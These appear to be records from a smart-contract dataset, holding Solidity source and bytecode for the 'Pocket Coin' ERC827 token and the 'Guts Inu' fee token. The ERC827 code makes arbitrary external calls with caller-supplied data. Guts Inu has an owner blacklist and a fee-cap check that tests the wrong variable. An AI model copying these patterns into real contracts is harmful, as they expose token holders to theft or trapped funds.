function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Pausable ERC827 token
* @dev ERC827 token modified with pausable functions.
**/
contract PausableERC827Token is ERC827Token, PausableToken {
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value, _data);
}
function approve(address _spender, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.approve(_spender, _value, _data);
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public whenNotPaused returns (bool) {
return super.increaseApproval(_spender, _addedValue, _data);
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public whenNotPaused returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue, _data);
}
}
contract PocketCoin is PausableERC827Token, BurnableToken {
string public constant name = "Pocket Coin";
string public constant symbol = "PKTC";
uint32 public constant decimals = 14;
function PocketCoin() public {
totalSupply_ = 500000000E14;
balances[owner] = totalSupply_; // Add all tokens to issuer balance (crowdsale in this case)
}
} | 0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806316ca3b63146101ec57806318160ddd1461025157806323b872dd14610276578063313ce5671461029e5780633f4ba83a146102ca57806342966c68146102df5780635c17f9f4146102f55780635c975abb1461035a578063661884631461036d57806370a082311461038f5780637272ad49146103ae5780638456cb59146104135780638da5cb5b1461042657806395d89b4114610455578063a9059cbb14610468578063ab67aa581461048a578063be45fd62146104f6578063d73dd6231461055b578063dd62ed3e1461057d578063f2fde38b146105a2575b600080fd5b341561013757600080fd5b61013f6105c1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017b578082015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c157600080fd5b6101d8600160a060020a03600435166024356105f8565b604051901515815260200160405180910390f35b34156101f757600080fd5b6101d860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061062395505050505050565b341561025c57600080fd5b610264610650565b60405190815260200160405180910390f35b341561028157600080fd5b6101d8600160a060020a0360043581169060243516604435610656565b34156102a957600080fd5b6102b161067b565b60405163ffffffff909116815260200160405180910390f35b34156102d557600080fd5b6102dd610680565b005b34156102ea57600080fd5b6102dd6004356106ff565b341561030057600080fd5b6101d860048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107f895505050505050565b341561036557600080fd5b6101d861081d565b341561037857600080fd5b6101d8600160a060020a036004351660243561082d565b341561039a57600080fd5b610264600160a060020a0360043516610851565b34156103b957600080fd5b6101d860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061086c95505050505050565b341561041e57600080fd5b6102dd610891565b341561043157600080fd5b610439610915565b604051600160a060020a03909116815260200160405180910390f35b341561046057600080fd5b61013f610924565b341561047357600080fd5b6101d8600160a060020a036004351660243561095b565b341561049557600080fd5b6101d8600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061097f95505050505050565b341561050157600080fd5b6101d860048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109ae95505050505050565b341561056657600080fd5b6101d8600160a060020a03600435166024356109d3565b341561058857600080fd5b610264600160a060020a03600435811690602435166109f7565b34156105ad57600080fd5b6102dd600160a060020a0360043516610a22565b60408051908101604052600b81527f506f636b657420436f696e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561061257600080fd5b61061c8383610abd565b9392505050565b60035460009060a060020a900460ff161561063d57600080fd5b610648848484610b29565b949350505050565b60015490565b60035460009060a060020a900460ff161561067057600080fd5b610648848484610be7565b600e81565b60035433600160a060020a0390811691161461069b57600080fd5b60035460a060020a900460ff1615156106b357600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03331660009081526020819052604081205482111561072457600080fd5b5033600160a060020a0381166000908152602081905260409020546107499083610d67565b600160a060020a038216600090815260208190526040902055600154610775908363ffffffff610d6716565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35050565b60035460009060a060020a900460ff161561081257600080fd5b610648848484610d79565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561084757600080fd5b61061c8383610da6565b600160a060020a031660009081526020819052604090205490565b60035460009060a060020a900460ff161561088657600080fd5b610648848484610ea0565b60035433600160a060020a039081169116146108ac57600080fd5b60035460a060020a900460ff16156108c357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600481527f504b544300000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561097557600080fd5b61061c8383610ecd565b60035460009060a060020a900460ff161561099957600080fd5b6109a585858585610fdf565b95945050505050565b60035460009060a060020a900460ff16156109c857600080fd5b61064884848461109f565b60035460009060a060020a900460ff16156109ed57600080fd5b61061c83836110cc565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a3d57600080fd5b600160a060020a0381161515610a5257600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a031614151515610b4c57600080fd5b610b5684846110cc565b5083600160a060020a03168260405180828051906020019080838360005b83811015610b8c578082015183820152602001610b74565b50505050905090810190601f168015610bb95780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008661646e5a03f19150501515610bdd57600080fd5b5060019392505050565b6000600160a060020a0383161515610bfe57600080fd5b600160a060020a038416600090815260208190526040902054821115610c2357600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610c5657600080fd5b600160a060020a038416600090815260208190526040902054610c7f908363ffffffff610d6716565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cb4908363ffffffff61117016565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610cfa908363ffffffff610d6716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610d7357fe5b50900390565b600030600160a060020a031684600160a060020a031614151515610d9c57600080fd5b610b568484610abd565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610e0357600160a060020a033381166000908152600260209081526040808320938816835292905290812055610e3a565b610e13818463ffffffff610d6716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600030600160a060020a031684600160a060020a031614151515610ec357600080fd5b610b568484610da6565b6000600160a060020a0383161515610ee457600080fd5b600160a060020a033316600090815260208190526040902054821115610f0957600080fd5b600160a060020a033316600090815260208190526040902054610f32908363ffffffff610d6716565b600160a060020a033381166000908152602081905260408082209390935590851681522054610f67908363ffffffff61117016565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a03161415151561100257600080fd5b61100d858585610be7565b5083600160a060020a03168260405180828051906020019080838360005b8381101561104357808201518382015260200161102b565b50505050905090810190601f1680156110705780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008661646e5a03f1915050151561109457600080fd5b506001949350505050565b600030600160a060020a031684600160a060020a0316141515156110c257600080fd5b610b568484610ecd565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054611104908363ffffffff61117016565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561061c57fe00a165627a7a72305820ac1c381afb6b7e2797e2412ca57ead2a238c4076a26046366c74200acc094da70029 | {"success": true, "error": null, "results": {}} | 1,182 |
0x923a3b4e9c1c1da42401f1bded453d3ad5e54c5b | /* Socials
Telegram: https://t.me/gutsinuofficial
Website: https://gutsinu.xyz/
Twitter: https://twitter.com/GutsInuERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GutsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private time;
uint256 private _tax;
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private fee1=40;
uint256 private fee2=70;
uint256 private liqfee=10;
uint256 private feeMax=100;
string private constant _name = "Guts Inu";
string private constant _symbol = "GINU";
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private minBalance = _tTotal.div(1000);
uint8 private constant _decimals = 9;
address payable private _feeAddrWallet1;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_feeAddrWallet1 = payable(msg.sender);
_tOwned[address(this)] = _tTotal.div(2);
_tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external {
require(_msgSender() == _feeAddrWallet1);
require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum");
fee1 = _fee1;
fee2 = _fee2;
liqfee = _liq;
}
function changeMinBalance(uint256 newMin) external {
require(_msgSender() == _feeAddrWallet1);
minBalance = newMin;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_tax = fee1.add(liqfee);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tax = fee2.add(liqfee);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) {
require(block.timestamp > time,"Sells prohibited for the first 5 minutes");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > minBalance){
swapAndLiquify(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_transferStandard(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndLiquify(uint256 tokenAmount) private {
uint256 half = liqfee.div(2);
uint256 part = fee2.add(half);
uint256 sum = fee2.add(liqfee);
uint256 swapTotal = tokenAmount.mul(part).div(sum);
swapTokensForEth(swapTotal);
addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1);
}
function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
_approve(address(this),address(uniswapV2Router),tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
addLiquidity(balanceOf(address(this)),address(this).balance,owner());
swapEnabled = true;
tradingOpen = true;
time = block.timestamp + (5 minutes);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 transferAmount,uint256 tfee) = _getTValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tfee);
emit Transfer(sender, recipient, transferAmount);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapAndLiquify(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.mul(_tax).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function recoverTokens(address tokenAddress) external {
require(_msgSender() == _feeAddrWallet1);
IERC20 recoveryToken = IERC20(tokenAddress);
recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this)));
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610330578063b515566a14610350578063c3c8cd8014610370578063c9567bf914610385578063dd62ed3e1461039a57600080fd5b806370a0823114610270578063715018a6146102a65780637e37e9bb146102bb5780638da5cb5b146102db57806395d89b411461030357600080fd5b806323b872dd116100e757806323b872dd146101df578063273123b7146101ff578063313ce5671461021f5780634ea18fab1461023b5780636fc3eaec1461025b57600080fd5b806306fdde0314610124578063095ea7b31461016757806316114acd1461019757806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260088152674775747320496e7560c01b60208201525b60405161015e91906116bf565b60405180910390f35b34801561017357600080fd5b50610187610182366004611502565b6103e0565b604051901515815260200161015e565b3480156101a357600080fd5b506101b76101b236600461144e565b6103f7565b005b3480156101c557600080fd5b50683635c9adc5dea000005b60405190815260200161015e565b3480156101eb57600080fd5b506101876101fa3660046114c1565b610524565b34801561020b57600080fd5b506101b761021a36600461144e565b61058d565b34801561022b57600080fd5b506040516009815260200161015e565b34801561024757600080fd5b506101b761025636600461161c565b6105e1565b34801561026757600080fd5b506101b7610606565b34801561027c57600080fd5b506101d161028b36600461144e565b6001600160a01b031660009081526002602052604090205490565b3480156102b257600080fd5b506101b7610633565b3480156102c757600080fd5b506101b76102d636600461167c565b6106a7565b3480156102e757600080fd5b506000546040516001600160a01b03909116815260200161015e565b34801561030f57600080fd5b5060408051808201909152600481526347494e5560e01b6020820152610151565b34801561033c57600080fd5b5061018761034b366004611502565b610751565b34801561035c57600080fd5b506101b761036b36600461152e565b61075e565b34801561037c57600080fd5b506101b76107f4565b34801561039157600080fd5b506101b761082d565b3480156103a657600080fd5b506101d16103b5366004611488565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103ed3384846109cd565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461041757600080fd5b600f546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b15801561046957600080fd5b505afa15801561047d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a19190611635565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104e757600080fd5b505af11580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f91906115fa565b505050565b6000610531848484610af1565b610583843361057e8560405180606001604052806028815260200161189d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ed4565b6109cd565b5060019392505050565b6000546001600160a01b031633146105c05760405162461bcd60e51b81526004016105b790611714565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b03161461060157600080fd5b600e55565b600f546001600160a01b0316336001600160a01b03161461062657600080fd5b4761063081610f0e565b50565b6000546001600160a01b0316331461065d5760405162461bcd60e51b81526004016105b790611714565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b0316146106c757600080fd5b600c548360ff16111580156106e15750600c548260ff1611155b80156106f15750600c54600b5411155b61073d5760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f742073657420666565732061626f7665206d6178696d756d00000060448201526064016105b7565b60ff928316600955908216600a5516600b55565b60006103ed338484610af1565b6000546001600160a01b031633146107885760405162461bcd60e51b81526004016105b790611714565b60005b81518110156107f0576001600560008484815181106107ac576107ac61185b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e88161182a565b91505061078b565b5050565b600f546001600160a01b0316336001600160a01b03161461081457600080fd5b3060009081526002602052604090205461063081610f48565b6000546001600160a01b031633146108575760405162461bcd60e51b81526004016105b790611714565b601154600160a01b900460ff16156108b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b7565b306000908152600260205260409020546108dd90476108d86000546001600160a01b031690565b610fe3565b6011805462ff00ff60a01b19166201000160a01b1790556109004261012c6117ba565b600755565b600082610914575060006103f1565b600061092083856117f4565b90508261092d85836117d2565b146109845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b7565b9392505050565b600061098483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c5565b6001600160a01b038316610a2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b7565b6001600160a01b038216610a905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b7565b6001600160a01b038216610bb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b7565b60008111610c195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b7565b600b54600954610c28916110f3565b6008556000546001600160a01b03848116911614801590610c5757506000546001600160a01b03838116911614155b15610ec9576001600160a01b03831660009081526005602052604090205460ff16158015610c9e57506001600160a01b03821660009081526005602052604090205460ff16155b610ca757600080fd5b6011546001600160a01b038481169116148015610cd257506010546001600160a01b03838116911614155b8015610cf757506001600160a01b03821660009081526004602052604090205460ff16155b8015610d04575060075442105b15610d6157600d54811115610d1857600080fd5b6001600160a01b0382166000908152600660205260409020544211610d3c57600080fd5b610d4742601e6117ba565b6001600160a01b0383166000908152600660205260409020555b6011546001600160a01b038381169116148015610d8c57506010546001600160a01b03848116911614155b8015610db157506001600160a01b03831660009081526004602052604090205460ff16155b15610dc957600b54600a54610dc5916110f3565b6008555b601154600160a81b900460ff16158015610df157506011546001600160a01b03848116911614155b8015610e065750601154600160b01b900460ff165b8015610e2b57506001600160a01b03831660009081526004602052604090205460ff16155b15610ec9576007544211610e925760405162461bcd60e51b815260206004820152602860248201527f53656c6c732070726f6869626974656420666f72207468652066697273742035604482015267206d696e7574657360c01b60648201526084016105b7565b30600090815260026020526040902054600e54811115610ec757610eb581610f48565b478015610ec557610ec547610f0e565b505b505b61051f838383611152565b60008184841115610ef85760405162461bcd60e51b81526004016105b791906116bf565b506000610f058486611813565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f0573d6000803e3d6000fd5b600b54600090610f5990600261098b565b90506000610f7282600a546110f390919063ffffffff16565b90506000610f8d600b54600a546110f390919063ffffffff16565b90506000610fa582610f9f8786610905565b9061098b565b9050610fb08161123e565b610fdc610fbd86836113b2565b610fcb85610f9f4789610905565b600f546001600160a01b0316610fe3565b5050505050565b6011805460ff60a81b1916600160a81b17905560105461100e9030906001600160a01b0316856109cd565b60105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c4016060604051808303818588803b15801561107757600080fd5b505af115801561108b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110b0919061164e565b50506011805460ff60a81b1916905550505050565b600081836110e65760405162461bcd60e51b81526004016105b791906116bf565b506000610f0584866117d2565b60008061110083856117ba565b9050838110156109845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b7565b60008061115e836113f4565b6001600160a01b038716600090815260026020526040902054919350915061118690846113b2565b6001600160a01b0380871660009081526002602052604080822093909355908616815220546111b590836110f3565b6001600160a01b0385166000908152600260205260408082209290925530815220546111e190826110f3565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112865761128661185b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112da57600080fd5b505afa1580156112ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611312919061146b565b816001815181106113255761132561185b565b6001600160a01b03928316602091820292909201015260105461134b91309116846109cd565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611384908590600090869030904290600401611749565b600060405180830381600087803b15801561139e57600080fd5b505af11580156110b0573d6000803e3d6000fd5b600061098483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed4565b60008060006114146103e8610f9f6008548761090590919063ffffffff16565b9050600061142285836113b2565b959194509092505050565b803561143881611887565b919050565b803560ff8116811461143857600080fd5b60006020828403121561146057600080fd5b813561098481611887565b60006020828403121561147d57600080fd5b815161098481611887565b6000806040838503121561149b57600080fd5b82356114a681611887565b915060208301356114b681611887565b809150509250929050565b6000806000606084860312156114d657600080fd5b83356114e181611887565b925060208401356114f181611887565b929592945050506040919091013590565b6000806040838503121561151557600080fd5b823561152081611887565b946020939093013593505050565b6000602080838503121561154157600080fd5b823567ffffffffffffffff8082111561155957600080fd5b818501915085601f83011261156d57600080fd5b81358181111561157f5761157f611871565b8060051b604051601f19603f830116810181811085821117156115a4576115a4611871565b604052828152858101935084860182860187018a10156115c357600080fd5b600095505b838610156115ed576115d98161142d565b8552600195909501949386019386016115c8565b5098975050505050505050565b60006020828403121561160c57600080fd5b8